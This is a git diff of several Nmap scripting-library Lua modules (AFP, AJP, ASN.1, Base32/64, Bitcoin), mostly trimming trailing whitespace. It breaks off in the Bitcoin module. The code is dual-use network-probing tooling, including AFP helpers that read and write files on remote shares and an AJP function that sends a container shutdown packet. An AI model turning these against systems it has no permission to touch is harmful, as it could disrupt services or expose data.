object fp_logout = function( self ) local packet, data, response local data_offset, pad = 0, 0 - + data = bin.pack("CC", COMMAND.FPLogout, pad) packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) self:send_fp_packet( packet ) @@ -973,7 +973,7 @@ Proto = { -- -- @param bitmap number bitmask of volume information to request -- @param volume_name string containing the volume name to query - -- @return response object with the following result bitmap and + -- @return response object with the following result bitmap and -- volume_id fields fp_open_vol = function( self, bitmap, volume_name ) local packet, status, pos, data @@ -1002,7 +1002,7 @@ Proto = { -- @param dir_bitmap number bitmask of directory information to query -- @param path string containing the name of the directory to query -- @return response object with the following result file_bitmap, dir_bitmap, - -- file_type and (dir or file tables) depending on whether + -- file_type and (dir or file tables) depending on whether -- did is a file or directory fp_get_file_dir_parms = function( self, volume_id, did, file_bitmap, dir_bitmap, path ) @@ -1042,7 +1042,7 @@ Proto = { -- file pos, parms.file = Util.decode_file_bitmap( parms.file_bitmap, response.packet.data, pos ) end - + response:setResult(parms) return response end, @@ -1103,7 +1103,7 @@ Proto = { record.type = ftype table.insert(records, record) end - + response:setResult(records) return response end, @@ -1123,7 +1123,7 @@ Proto = { local data_offset = 0 local pad = 0 local response, fork = {}, {} - + local data = bin.pack( "CC>S>I>S>S", COMMAND.FPOpenFork, flag, volume_id, did, file_bitmap, access_mode ) if path.type == PATH_TYPE.LongName then @@ -1132,7 +1132,7 @@ Proto = { if path.type == PATH_TYPE.UTF8Name then local unicode_hint = 0x08000103 - data = data .. bin.pack( "C>I>SA", path.type, unicode_hint, path.len, path.name ) + data = data .. bin.pack( "C>I>SA", path.type, unicode_hint, path.len, path.name ) end packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) @@ -1147,7 +1147,7 @@ Proto = { response:setResult(fork) return response end, - + --- FPCloseFork -- -- @param fork number containing the fork to close @@ -1164,7 +1164,7 @@ Proto = { self:send_fp_packet( packet ) return self:read_fp_packet( ) end, - + --- FPCreateDir -- -- @param vol_id number containing the volume id @@ -1235,7 +1235,7 @@ Proto = { fp_write_ext = function( self, flag, fork, offset, count, fdata ) local packet local data_offset = 20 - local data + local data if count > fdata:len() then local err = Response:new() @@ -1253,7 +1253,7 @@ Proto = { self:send_fp_packet( packet ) return self:read_fp_packet( ) end, - + --- FPCreateFile -- -- @param flag number where 0 indicates a soft create and 1 indicates a hard create. @@ -1291,15 +1291,15 @@ Proto = { packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) self:send_fp_packet( packet ) response = self:read_fp_packet( ) - + if response:getErrorCode() ~= ERROR.FPNoErr then return response end - + -- Netatalk returns the name with 1-byte length prefix, -- Mac OS has a 2-byte (UTF-8) length prefix local _, len = bin.unpack("C", response.packet.data) - + -- if length is zero assume 2-byte length (UTF-8 name) if len == 0 then response:setResult( select(2, bin.unpack(">P", response.packet.data )) ) @@ -1308,7 +1308,7 @@ Proto = { end return response end, - + --- FPMapName -- -- @param subfunc number containing the subfunction to call @@ -1323,18 +1323,18 @@ Proto = { packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) self:send_fp_packet( packet ) response = self:read_fp_packet( ) - + if response:getErrorCode() ~= ERROR.FPNoErr then return response end - + response:setResult( select(2, bin.unpack(">I", response.packet.data))) return response end, } --- The helper class wraps the protocol class and their functions. It contains --- high-level functions with descriptive names, facilitating the use and +-- high-level functions with descriptive names, facilitating the use and -- minimizing the need to fully understand the AFP low-level protocol details. Helper = { @@ -1356,22 +1356,22 @@ Helper = { -- @return string containing error message (if status is false) OpenSession = function( self, host, port ) local status, response - + self.socket = nmap.new_socket() self.socket:set_timeout( 5000 ) status = self.socket:connect(host, port) if not status then return false, "Socket connection failed" end - + self.proto = Proto:new( { socket=self.socket} ) response = self.proto:dsi_open_session(self.socket) - + if response:getErrorCode() ~= ERROR.FPNoErr then self.socket:close() return false, response:getErrorMessage() end - + return true end, @@ -1382,7 +1382,7 @@ Helper = { CloseSession = function( self ) local status, packet = self.proto:dsi_close_session( ) self.socket:close() - + return status, packet end, @@ -1397,18 +1397,18 @@ Helper = { --- Logs in to an AFP service -- - -- @param username (optional) string containing the username + -- @param username (optional) string containing the username -- @param password (optional) string containing the user password -- @param options table containing additional options uam Login = function( self, username, password, options ) local uam = ( options and options.UAM ) and options.UAM or "DHCAST128" local response - + -- username and password arguments override the ones supplied using the -- script arguments afp.username and afp.password local username = username or self.username local password = password or self.password - + if ( username and uam == "DHCAST128" ) then response = self.proto:fp_login( "AFP3.1", "DHCAST128", username, password ) elseif( username ) then @@ -1416,22 +1416,22 @@ Helper = { else response = self.proto:fp_login( "AFP3.1", "No User Authent" ) end - + if response:getErrorCode() ~= ERROR.FPNoErr then return false, response:getErrorMessage() end - + return true, "Success" end, - + --- Logs out from the AFP service Logout = function(self) return self.proto:fp_logout() end, - + --- Walks the directory tree specified by str_path and returns the node information -- - -- @param str_path string containing the directory + -- @param str_path string containing the directory -- @return status boolean true on success, otherwise false -- @return item table containing node information DirectoryId and DirectoryName WalkDirTree = function( self, str_path ) @@ -1461,7 +1461,7 @@ Helper = { return true, item end, - + --- Reads a file on the AFP server -- -- @param str_path string containing the AFP sharepoint, path and filename eg. HR/Documents/File.doc @@ -1477,12 +1477,12 @@ Helper = { if ( not status ) then return false, response end - + vol_id = response.VolumeId did = response.DirectoryId - + path = { ['type']=PATH_TYPE.LongName, name=p.file, len=p.file:len() } - + response = self.proto:fp_open_fork(0, vol_id, did, 0, ACCESS_MODE.Read, path ) if response:getErrorCode() ~= ERROR.FPNoErr then return false, response:getErrorMessage() @@ -1499,15 +1499,15 @@ Helper = { content = content .. response.result offset = offset + count end - + response = self.proto:fp_close_fork( fork ) if response:getErrorCode() ~= ERROR.FPNoErr then return false, response:getErrorMessage() end - + return true, content end, - + --- Writes a file to the AFP server -- -- @param str_path string containing the AFP sharepoint, path and filename eg. HR/Documents/File.doc @@ -1519,15 +1519,15 @@ Helper = { local offset, count = 1, 1024 local status, vol_id, did, path local p = Util.SplitPath( str_path ) - + status, response = self:WalkDirTree( p.dir ) vol_id = response.VolumeId did = response.DirectoryId - + if ( not status ) then return false, response end - + path = { ['type']=PATH_TYPE.LongName, name=p.file, len=p.file:len() } status, response = self.proto:fp_create_file( 0, vol_id, did, path ) @@ -1543,12 +1543,12 @@ Helper = { end fork = response.result.fork_id - + response = self.proto:fp_write_ext( 0, fork, 0, fdata:len(), fdata ) return true, nil end, - + --- Maps a user id (uid) to a user name -- -- @param uid number containing the uid to resolve @@ -1562,7 +1562,7 @@ Helper = { end return true, response.result end, - + --- Maps a group id (gid) to group name -- -- @param gid number containing the gid to lookup @@ -1576,7 +1576,7 @@ Helper = { end return true, response.result end, - + --- Maps a username to a UID -- -- @param name string containing the username to map to an UID @@ -1589,7 +1589,7 @@ Helper = { return false, response:getErrorMessage() end return true, response.result - end, + end, --- List the contents of a directory -- @@ -1609,9 +1609,9 @@ Helper = { local f_bm = FILE_BITMAP.NodeId + FILE_BITMAP.ParentDirId + FILE_BITMAP.LongName local d_bm = DIR_BITMAP.NodeId + DIR_BITMAP.ParentDirId + DIR_BITMAP.LongName local path = { ['type']=PATH_TYPE.LongName, name="", len=0 } - + local TYPE_DIR = 0x80 - + if ( parent == nil ) then status, response = self:WalkDirTree( str_path ) if ( not status ) then @@ -1624,17 +1624,17 @@ Helper = { parent.dir_name = response.DirectoryName or "" parent.out_tbl = {} end - + if ( options and options.max_depth and options.max_depth > 0 and options.max_depth < depth ) then return false, "Max Depth Reached" end - - response = self.proto:fp_enumerate_ext2( parent.vol_id, parent.did, f_bm, d_bm, 1000, 1, 52800, path) - + + response = self.proto:fp_enumerate_ext2( parent.vol_id, parent.did, f_bm, d_bm, 1000, 1, 52800, path) + if response:getErrorCode() ~= ERROR.FPNoErr then return false, response:getErrorMessage() end - + records = response.result or {} local dir_item = {} @@ -1652,36 +1652,36 @@ Helper = { end table.insert( parent.out_tbl, dir_item ) - + return true, parent.out_tbl end, - + --- Displays a directory tree -- -- @param str_path string containing the sharepoint and the directory -- @param options table options containing zero or more of the options -- max_depth and dironly - -- @return dirtree table containing the directories + -- @return dirtree table containing the directories DirTree = function( self, str_path, options ) local options = options or {} options.dironly = true return self:Dir( str_path, options ) end, - + --- List the AFP sharepoints -- -- @return volumes table containing the sharepoints ListShares = function( self ) local response response = self.proto:fp_get_srvr_parms( ) - + if response:getErrorCode() ~= ERROR.FPNoErr then return false, response:getErrorMessage() end - + return true, response.result.volumes end, - + --- Determine the sharepoint permissions -- -- @param vol_name string containing the name of the volume @@ -1689,18 +1689,18 @@ Helper = { -- @return acls table containing the volume acls as returned by acls_to_long_string GetSharePermissions = function( self, vol_name ) local status, response, vol_id, acls - + response = self.proto:fp_open_vol( VOL_BITMAP.ID, vol_name ) if response:getErrorCode() == ERROR.FPNoErr then local vol_id local path = {} - - vol_id = response.result.volume_id + + vol_id = response.result.volume_id path.type = PATH_TYPE.LongName path.name = "" path.len = path.name:len() - + response = self.proto:fp_get_file_dir_parms( vol_id, 2, FILE_BITMAP.ALL, DIR_BITMAP.ALL, path ) if response:getErrorCode() == ERROR.FPNoErr then if ( response.result.dir and response.result.dir.AccessRights ) then @@ -1710,10 +1710,10 @@ Helper = { end self.proto:fp_close_vol( vol_id ) end - + return true, acls end, - + --- Gets the Unix permissions of a file -- @param vol_name string containing the name of the volume -- @param str_path string containing the name of the file @@ -1726,18 +1726,18 @@ Helper = { -- @return err string (on failure) containing the error message GetFileUnixPermissions = function(self, vol_name, str_path) local response = self.proto:fp_open_vol( VOL_BITMAP.ID, vol_name ) - + if ( response:getErrorCode() ~= ERROR.FPNoErr ) then return false, response:getErrorMessage() end - + local vol_id = response.result.volume_id local path = { type = PATH_TYPE.LongName, name = str_path, len = #str_path } response = self.proto:fp_get_file_dir_parms( vol_id, 2, FILE_BITMAP.UnixPrivileges, DIR_BITMAP.UnixPrivileges, path ) if ( response:getErrorCode() ~= ERROR.FPNoErr ) then return false, response:getErrorMessage() end - + local item = ( response.result.file ) and response.result.file or response.result.dir local item_type = ( response.result.file ) and "-" or "d" local privs = ( item.UnixPrivileges and item.UnixPrivileges.ua_permissions ) and @@ -1749,7 +1749,7 @@ Helper = { return true, { uid = uid, gid = gid, privs = str_privs } end end, - + --- Gets the Unix permissions of a file -- @param vol_name string containing the name of the volume -- @param str_path string containing the name of the file @@ -1758,24 +1758,24 @@ Helper = { -- @return err string (on failure) containing the error message GetFileSize = function( self, vol_name, str_path ) local response = self.proto:fp_open_vol( VOL_BITMAP.ID, vol_name ) - + if ( response:getErrorCode() ~= ERROR.FPNoErr ) then return false, response:getErrorMessage() end - + local vol_id = response.result.volume_id local path = { type = PATH_TYPE.LongName, name = str_path, len = #str_path } response = self.proto:fp_get_file_dir_parms( vol_id, 2, FILE_BITMAP.ExtendedDataForkSize, 0, path ) if ( response:getErrorCode() ~= ERROR.FPNoErr ) then return false, response:getErrorMessage() end - + return true, ( response.result.file and - response.result.file.ExtendedDataForkSize) and + response.result.file.ExtendedDataForkSize) and response.result.file.ExtendedDataForkSize or 0 end, - - + + --- Returns the creation, modification and backup dates of a file -- @param vol_name string containing the name of the volume -- @param str_path string containing the name of the file @@ -1787,11 +1787,11 @@ Helper = { -- @return err string (on failure) containing the error message GetFileDates = function( self, vol_name, str_path ) local response = self.proto:fp_open_vol( VOL_BITMAP.ID, vol_name ) - + if ( response:getErrorCode() ~= ERROR.FPNoErr ) then return false, response:getErrorMessage() end - + local vol_id = response.result.volume_id local path = { type = PATH_TYPE.LongName, name = str_path, len = #str_path } local f_bm = FILE_BITMAP.CreationDate + FILE_BITMAP.ModificationDate + FILE_BITMAP.BackupDate @@ -1802,7 +1802,7 @@ Helper = { end local item = ( response.result.file ) and response.result.file or response.result.dir - + local diff = os.time{year=2000, month=1, day=1, hour=0} - os.time{year=1970, month=1, day=1, hour=0} local create = os.date("%Y-%m-%d %H:%M", item.CreationDate + diff) local backup = os.date("%Y-%m-%d %H:%M", item.BackupDate ) @@ -1817,28 +1817,28 @@ Helper = { -- @return status boolean true on success, false on failure -- @return dirId number containing the new directory id CreateDir = function( self, str_path ) - local status, response, vol_id, did + local status, response, vol_id, did local p = Util.SplitPath( str_path ) local path = { ['type']=PATH_TYPE.LongName, name=p.file, len=p.file:len() } - - + + status, response = self:WalkDirTree( p.dir ) if not status then return false, response end - + response = self.proto:fp_create_dir( response.VolumeId, response.DirectoryId, path ) if response:getErrorCode() ~= ERROR.FPNoErr then return false, response:getErrorMessage() end - + return true, response end, - + } --- Util class, containing some static functions used by Helper and Proto -Util = +Util = { --- Pads a string with zeroes -- @@ -1853,10 +1853,10 @@ Util = for i=1, len - str:len() do str = str .. string.char(0) end - + return str end, - + --- Splits a path into two pieces, directory and file -- -- @param str_path string containing the path to split @@ -1864,20 +1864,20 @@ Util = SplitPath = function( str_path ) local elements = stdnse.strsplit("/", str_path) local dir, file = "", "" - + if #elements < 2 then return nil end - + file = elements[#elements] - + table.remove( elements, #elements ) dir = stdnse.strjoin( "/", elements ) - + return { ['dir']=dir, ['file']=file } - + end, - + --- Converts a group bitmask of Search, Read and Write to table -- -- @param acls number containing bitmasked acls @@ -1888,7 +1888,7 @@ Util = if bit.band( acls, ACLS.OwnerSearch ) == ACLS.OwnerSearch then table.insert( acl_table, "Search") - end + end if bit.band( acls, ACLS.OwnerRead ) == ACLS.OwnerRead then table.insert( acl_table, "Read") @@ -1961,8 +1961,8 @@ Util = return owner .. group .. other end, - - + + --- Decodes a file bitmap -- -- @param bitmap number containing the bitmap @@ -2024,10 +2024,10 @@ Util = end if ( bit.band( bitmap, FILE_BITMAP.ExtendedResourceForkSize ) == FILE_BITMAP.ExtendedResourceForkSize ) then pos, file.ExtendedResourceForkSize = bin.unpack(">L", data, pos ) - end + end if ( bit.band( bitmap, FILE_BITMAP.UnixPrivileges ) == FILE_BITMAP.UnixPrivileges ) then local unixprivs = {} - pos, unixprivs.uid, unixprivs.gid, + pos, unixprivs.uid, unixprivs.gid, unixprivs.permissions, unixprivs.ua_permissions = bin.unpack(">IIII", data, pos ) file.UnixPrivileges = unixprivs end @@ -2105,13 +2105,13 @@ Util = if ( bit.band( bitmap, DIR_BITMAP.UnixPrivileges ) == DIR_BITMAP.UnixPrivileges ) then local unixprivs = {} - pos, unixprivs.uid, unixprivs.gid, + pos, unixprivs.uid, unixprivs.gid, unixprivs.permissions, unixprivs.ua_permissions = bin.unpack(">I>I>I>I", data, pos ) dir.UnixPrivileges = unixprivs end return pos, dir end, - + } diff --git a/nselib/ajp.lua b/nselib/ajp.lua index 77501a515..c65ba0ecc 100644 --- a/nselib/ajp.lua +++ b/nselib/ajp.lua @@ -17,10 +17,10 @@ _ENV = stdnse.module("ajp", stdnse.seeall) -- AJP = { - + -- The magic prefix that has to be present in all requests Magic = 0x1234, - + -- Methods encoded as numeric values Method = { ['OPTIONS'] = 1, @@ -51,7 +51,7 @@ AJP = { ['BASELINE_CONTROL'] = 26, ['MKACTIVITY'] = 27, }, - + -- Request codes Code = { FORWARD_REQUEST = 2, @@ -62,7 +62,7 @@ AJP = { PING = 8, CPING = 10, }, - + -- Request attributes Attribute = { CONTEXT = 0x01, @@ -78,9 +78,9 @@ AJP = { SSL_KEY_SIZE = 0x0B, ARE_DONE = 0xFF, }, - + ForwardRequest = { - + -- Common headers encoded as numeric values Header = { ['accept'] = 0xA001, @@ -97,7 +97,7 @@ AJP = { ['pragma'] = 0xA00C, ['referer'] = 0xA00D, ['user-agent'] = 0xA00E, - }, + }, new = function(self, host, port, method, uri, headers, attributes, options) local o = { @@ -118,11 +118,11 @@ AJP = { } setmetatable(o, self) self.__index = self - return o + return o end, - + __tostring = function(self) - + -- encodes a string, prefixing it with a 2-byte length -- and suffixing it with a zero. P-encoding can't be used -- as the zero terminator should not be counted in the length @@ -144,7 +144,7 @@ AJP = { if ( not(self.headers['host']) ) then self.headers['host'] = stdnse.get_hostname(self.host) end - + -- add keep-alive connection header if missing if ( not(self.headers['connection']) ) then self.headers['connection'] = "keep-alive" @@ -153,12 +153,12 @@ AJP = { local p_url = url.parse(self.uri) -- save the magic and data for last - local data = bin.pack(">CCAAAAASCS", self.code, self.method, + local data = bin.pack(">CCAAAAASCS", self.code, self.method, encstr(self.version), encstr(p_url.path), encstr(self.raddr), encstr(self.rhost), encstr(self.srv), self.port, (self.is_ssl and 1 or 0), headerCount()) - + -- encode headers for k, v in pairs(self.headers) do local header = AJP.ForwardRequest.Header[k:lower()] or k @@ -167,27 +167,27 @@ AJP = { else data = data .. bin.pack(">S", header) end - + data = data .. encstr(v) end - + -- encode attributes if ( p_url.query ) then data = data .. bin.pack("C", AJP.Attribute.QUERY_STRING) data = data .. encstr(p_url.query) end - + -- terminate the attribute list data = data .. bin.pack("C", AJP.Attribute.ARE_DONE) - + -- returns the AJP request as a string return bin.pack(">SSA", AJP.Magic, #data, data) end, - + }, - + Response = { - + Header = { ['Content-Type'] = 0xA001, ['Content-Language'] = 0xA002, @@ -201,51 +201,51 @@ AJP = { ['Status'] = 0xA00A, ['WWW-Authenticate'] = 0xA00B, }, - + SendHeaders = { - + new = function(self) local o = { headers = {}, rawheaders = {} } setmetatable(o, self) self.__index = self return o end, - + parse = function(data) local sh = AJP.Response.SendHeaders:new() local pos = 6 local status_msg, hdr_count - + pos, sh.status = bin.unpack(">S", data, pos) pos, status_msg = bin.unpack(">P", data, pos) pos = pos + 1 sh['status-line'] = ("AJP/1.3 %d %s"):format(sh.status, status_msg) - + pos, hdr_count = bin.unpack(">S", data, pos) - + local function headerById(id) for k, v in pairs(AJP.Response.Header) do if ( v == id ) then return k end end end - - + + for i=1, hdr_count do local key, val, len pos, len = bin.unpack(">S", data, pos) - + if ( len < 0xA000 ) then pos, key = bin.unpack("A"..len, data, pos) pos = pos + 1 else key = headerById(len) end - + pos, val = bin.unpack(">P", data, pos) pos = pos + 1 - + sh.headers[key:lower()] = val - + -- to keep the order, in which the headers were received, -- add them to the rawheader table as well. This is based -- on the same principle as the http library, however the @@ -255,16 +255,16 @@ AJP = { end return sh end, - + }, - + }, - + } -- The Comm class handles sending and receiving AJP requests/responses Comm = { - + -- Creates a new Comm instance new = function(self, host, port, options) local o = { host = host, port = port, options = options or {}} @@ -272,7 +272,7 @@ Comm = { self.__index = self return o end, - + -- Connects to the AJP server -- -- @return status true on success, false on failure @@ -282,7 +282,7 @@ Comm = { self.socket:set_timeout(self.options.timeout or 5000) return self.socket:connect(self.host, self.port) end, - + -- Sends a request to the server -- -- @param req instance of object that can be serialized with tostring @@ -291,7 +291,7 @@ Comm = { send = function(self, req) return self.socket:send(tostring(req)) end, - + -- Receives an AJP response from the server -- -- @return status true on succes, false on failure @@ -317,7 +317,7 @@ Comm = { if ( not(status) ) then return false, "Failed to receive response from server" end - + local pos, code = bin.unpack("C", data) if ( AJP.Code.SEND_HEADERS == code ) then local sh = AJP.Response.SendHeaders.parse(buf .. data) @@ -330,22 +330,22 @@ Comm = { end return true, response end, - + -- Closes the socket close = function(self) return self.socket:close() end, - + } Helper = { - + --- Creates a new AJP Helper instance -- -- @param host table -- @param port table - -- @param opt + -- @param opt -- @return o new Helper instance new = function(self, host, port, opt) local o = { host = host, port = port, opt = opt or {} } @@ -362,18 +362,18 @@ Helper = { self.comm = Comm:new(self.host, self.port, self.opt) return self.comm:connect() end, - + getOption = function(self, options, key) - + -- first check options, then global self.opt if ( options and options[key] ) then return options[key] elseif ( self.opt and self.opt[key] ) then return self.opt[key] end - + end, - + --- Sends an AJP request to the server -- -- @param url string containing the URL to query @@ -388,22 +388,22 @@ Helper = { if ( not(status) ) then return false, "Failed to get socket information" end - + local request = AJP.ForwardRequest:new(self.host, self.port, method, url, headers, attributes, { raddr = rhost }) if ( not(self.comm:send(request)) ) then return false, "Failed to send request to server" end local status, result = self.comm:receive() - + -- support Basic authentication if ( status and result.status == 401 and result.headers['www-authenticate'] ) then - + local auth = self:getOption(options, "auth") if ( not(auth) or not(auth.username) and not(auth.password) ) then stdnse.print_debug(2, "No authentication information") return status, result end - + local challenges = http.parse_www_authenticate(result.headers['www-authenticate']) local scheme for _, challenge in ipairs(challenges or {}) do @@ -412,7 +412,7 @@ Helper = { break end end - + if ( not(scheme) ) then stdnse.print_debug(2, "Could not find a supported authentication scheme") elseif ( "basic" ~= scheme ) then @@ -426,7 +426,7 @@ Helper = { end status, result = self.comm:receive() end - + end return status, result end, @@ -443,7 +443,7 @@ Helper = { get = function(self, url, headers, attributes, options) return self:request("GET", url, headers, attributes, options) end, - + --- Sends an AJP HEAD request to the server -- -- @param url string containing the URL to query @@ -456,7 +456,7 @@ Helper = { head = function(self, url, headers, attributes, options) return self:request("HEAD", url, headers, attributes, options) end, - + --- Sends an AJP TRACE request to the server -- -- @param url string containing the URL to query @@ -469,7 +469,7 @@ Helper = { trace = function(self, url, headers, attributes, options) return self:request("TRACE", url, headers, attributes, options) end, - + --- Sends an AJP PUT request to the server -- -- @param url string containing the URL to query @@ -495,7 +495,7 @@ Helper = { delete = function(self, url, headers, attributes, options) return self:request("DELETE", url, headers, attributes, options) end, - + --- Sends an AJP OPTIONS request to the server -- -- @param url string containing the URL to query @@ -508,18 +508,18 @@ Helper = { options = function(self, url, headers, attributes, options) return self:request("OPTIONS", url, headers, attributes, options) end, - + -- should only work against 127.0.0.1 shutdownContainer = function(self) self.comm:send(bin.pack("H", "1234000107")) self.comm:receive() end, - + --- Disconnects from the server close = function(self) return self.comm:close() end, - + } -return _ENV; \ No newline at end of file +return _ENV; diff --git a/nselib/asn1.lua b/nselib/asn1.lua index b175d4f82..b285eda5b 100644 --- a/nselib/asn1.lua +++ b/nselib/asn1.lua @@ -50,12 +50,12 @@ ASN1Decoder = { setStopOnError = function(self, val) self.stoponerror = val end, - + --- Registers the base simple type decoders - -- + -- registerBaseDecoders = function(self) self.decoder = {} - + -- Boolean self.decoder["01"] = function( self, encStr, elen, pos ) local val = bin.unpack("H", encStr, pos) @@ -85,7 +85,7 @@ ASN1Decoder = { self.decoder["06"] = function( self, encStr, elen, pos ) return self:decodeOID( encStr, elen, pos ) end - + -- Context specific tags -- self.decoder["30"] = function( self, encStr, elen, pos ) @@ -104,7 +104,7 @@ ASN1Decoder = { end, --- Decodes the ASN.1's built-in simple types - -- + -- -- @param encStr Encoded string. -- @param pos Current position in the string. -- @return The position after decoding @@ -169,7 +169,7 @@ ASN1Decoder = { end return pos, seq end, - + -- Decode one component of an OID from a byte string. 7 bits of the component -- are stored in each octet, most significant first, with the eigth bit set in -- all octets but the last. These encoding rules come from @@ -186,7 +186,7 @@ ASN1Decoder = { return pos, n end, - + --- Decodes an OID from a sequence of bytes. -- -- @param encStr Encoded string. @@ -216,7 +216,7 @@ ASN1Decoder = { return pos, oid end, - + --- -- Decodes length part of encoded value according to ASN.1 basic encoding -- rules. @@ -240,7 +240,7 @@ ASN1Decoder = { end return pos, elen end, - + --- -- Decodes an Integer according to ASN.1 basic encoding rules. -- @param encStr Encoded string. @@ -257,7 +257,7 @@ ASN1Decoder = { end return pos, value end, - + --- -- Decodes an SNMP packet or a part of it according to ASN.1 basic encoding -- rules. @@ -270,7 +270,7 @@ ASN1Decoder = { _, result = self:decode(encStr, pos) return result end, - + } --- The encoder class @@ -288,7 +288,7 @@ ASN1Encoder = { --- -- Encodes an ASN1 sequence, the value of 30 below breaks down as -- 0x30 = 00110000 = 00 1 10000 - -- hex binary Universal Constructed value Data Type = SEQUENCE (16) + -- hex binary Universal Constructed value Data Type = SEQUENCE (16) encodeSeq = function(self, seqData) return bin.pack('HAA' , '30', self.encodeLength(#seqData), seqData) end, @@ -309,7 +309,7 @@ ASN1Encoder = { return '' end, - + --- Allows for registration of additional tag encoders -- -- @param tagEncoders table containing encoding functions @see tagEncoders @@ -319,20 +319,20 @@ ASN1Encoder = { self.encoder[k] = v end end, - + -- ASN.1 Simple types encoders registerBaseEncoders = function(self) self.encoder = {} -- Bolean encoder self.encoder['boolean'] = function( self, val ) - if val then + if val then return bin.pack('H','01 01 FF') - else + else return bin.pack('H', '01 01 00') end end - + -- Table encoder self.encoder['table'] = function( self, val ) assert('table' == type(val), "val is not a table") @@ -340,7 +340,7 @@ ASN1Encoder = { assert(val.value ~= nil, "Table is missing the value field") return bin.pack("HAA", val.type, self.encodeLength(#val.value), val.value) end - + -- Integer encoder self.encoder['number'] = function( self, val ) local ival = self.encodeInt(val) @@ -358,9 +358,9 @@ ASN1Encoder = { self.encoder['nil'] = function( self, val ) return bin.pack('H', '05 00') end - + end, - + -- Encode one component of an OID as a byte string. 7 bits of the component are -- stored in each octet, most significant first, with the eigth bit set in all -- octets but the last. These encoding rules come from @@ -412,7 +412,7 @@ ASN1Encoder = { return bin.pack("x") end end, - + --- -- Encodes the length part of a ASN.1 encoding triplet using the "primitive, -- definite-length" method. @@ -459,7 +459,7 @@ end -- Converts an integer to a BER encoded type table -- -- @param i number containing the value to decode --- @return table with the following entries class, constructed, +-- @return table with the following entries class, constructed, -- primitive and number function intToBER( i ) local ber = {} @@ -478,7 +478,7 @@ function intToBER( i ) ber.number = i - ber.class - 32 else ber.primitive = true - ber.number = i - ber.class + ber.number = i - ber.class end return ber end diff --git a/nselib/base32.lua b/nselib/base32.lua index 4f633b5af..bc85f3e8e 100644 --- a/nselib/base32.lua +++ b/nselib/base32.lua @@ -1,6 +1,6 @@ --- -- Base32 encoding and decoding. Follows RFC 4648. --- +-- -- @author Philip Pickering -- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html -- @ported base64 to base32 @@ -25,9 +25,9 @@ local b32standard = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', - 'Y', 'Z', '2', '3', '4', '5', '6', '7', + 'Y', 'Z', '2', '3', '4', '5', '6', '7', } - + local b32dcstandard = {} -- efficency b32dcstandard['A'] = '00000' b32dcstandard['B'] = '00001' @@ -108,7 +108,7 @@ local b32dctable = b32dcstandard local append = table.insert local substr = string.sub -local bpack = bin.pack +local bpack = bin.pack local bunpack = bin.unpack local concat = table.concat @@ -155,13 +155,13 @@ function enc(bdata, hexExtend) append(b32dataBuf, b32enc5bit(bitstring .. "0000")) append(b32dataBuf, '====') elseif #bitstring == 2 then - append(b32dataBuf, b32enc5bit(bitstring .. "000") ) + append(b32dataBuf, b32enc5bit(bitstring .. "000") ) append(b32dataBuf, '=') elseif #bitstring == 3 then - append(b32dataBuf, b32enc5bit(bitstring .. "00") ) + append(b32dataBuf, b32enc5bit(bitstring .. "00") ) append(b32dataBuf, "======") elseif #bitstring == 4 then - append(b32dataBuf, b32enc5bit(bitstring .. "0") ) + append(b32dataBuf, b32enc5bit(bitstring .. "0") ) append(b32dataBuf, '===') end return concat(b32dataBuf) diff --git a/nselib/base64.lua b/nselib/base64.lua index 706a1082a..7d0bed1b1 100644 --- a/nselib/base64.lua +++ b/nselib/base64.lua @@ -22,10 +22,10 @@ local b64table = { 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', - 'w', 'x', 'y', 'z', '0', '1', '2', '3', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } - + local b64dctable = {} -- efficency b64dctable['A'] = '000000' b64dctable['B'] = '000001' @@ -95,7 +95,7 @@ b64dctable['/'] = '111111' local append = table.insert local substr = string.sub -local bpack = bin.pack +local bpack = bin.pack local bunpack = bin.unpack local concat = table.concat @@ -107,7 +107,7 @@ local function b64enc6bit(bits) -- local byte -- local _, byte = bunpack("C", bpack("B", "00" .. bits)) -- - + -- more efficient, does the same (nb: add one to byte moved up one line): local byte = tonumber(bits, 2) + 1 return b64table[byte] @@ -146,7 +146,7 @@ function enc(bdata) end end if #nbyte == 2 then - append(b64dataBuf, b64enc6bit(nbyte .. "0000") ) + append(b64dataBuf, b64enc6bit(nbyte .. "0000") ) append(b64dataBuf, "==") elseif #nbyte == 4 then append(b64dataBuf, b64enc6bit(nbyte .. "00")) diff --git a/nselib/bitcoin.lua b/nselib/bitcoin.lua index 034ffd8a1..f00b979ad 100644 --- a/nselib/bitcoin.lua +++ b/nselib/bitcoin.lua @@ -26,7 +26,7 @@ -- -- Version 0.2 --- +-- -- Created 11/09/2011 - v0.1 - created by Patrik Karlsson -- Revised 17/02/2012 - v0.2 - fixed count parsing -- - changed version/verack handling to support @@ -43,9 +43,9 @@ _ENV = stdnse.module("bitcoin", stdnse.seeall) -- A class that supports the BitCoin network address structure NetworkAddress = { - + NODE_NETWORK = 1, - + -- Creates a new instance of the NetworkAddress class -- @param host table as received by the action method -- @param port table as received by the action method @@ -60,20 +60,20 @@ NetworkAddress = { self.__index = self return o end, - + -- Creates a new instance of NetworkAddress based on the data string -- @param data string of bytes -- @return na instance of NetworkAddress fromString = function(data) assert(26 == #data, "Expected 26 bytes of data") - + local na = NetworkAddress:new() local _ _, na.service, na.ipv6_prefix, na.host, na.port = bin.unpack("S", data) na.host = ipOps.fromdword(na.host) return na end, - + -- Converts the NetworkAddress instance to string -- @return data string containing the NetworkAddress instance __tostring = function(self) @@ -85,10 +85,10 @@ NetworkAddress = { -- The request class container Request = { - + -- The version request Version = { - + -- Creates a new instance of the Version request -- @param host table as received by the action method -- @param port table as received by the action method @@ -96,7 +96,7 @@ Request = { -- @param lport number containing the source port -- @return o instance of Version new = function(self, host, port, lhost, lport) - local o = { + local o = { host = host, port = port, lhost= lhost, @@ -106,7 +106,7 @@ Request = { self.__index = self return o end, - + -- Converts the Version request to a string -- @return data as string __tostring = function(self) @@ -115,7 +115,7 @@ Request = { local len = 85 -- ver: 0.4.0 local ver = 0x9c40 - + 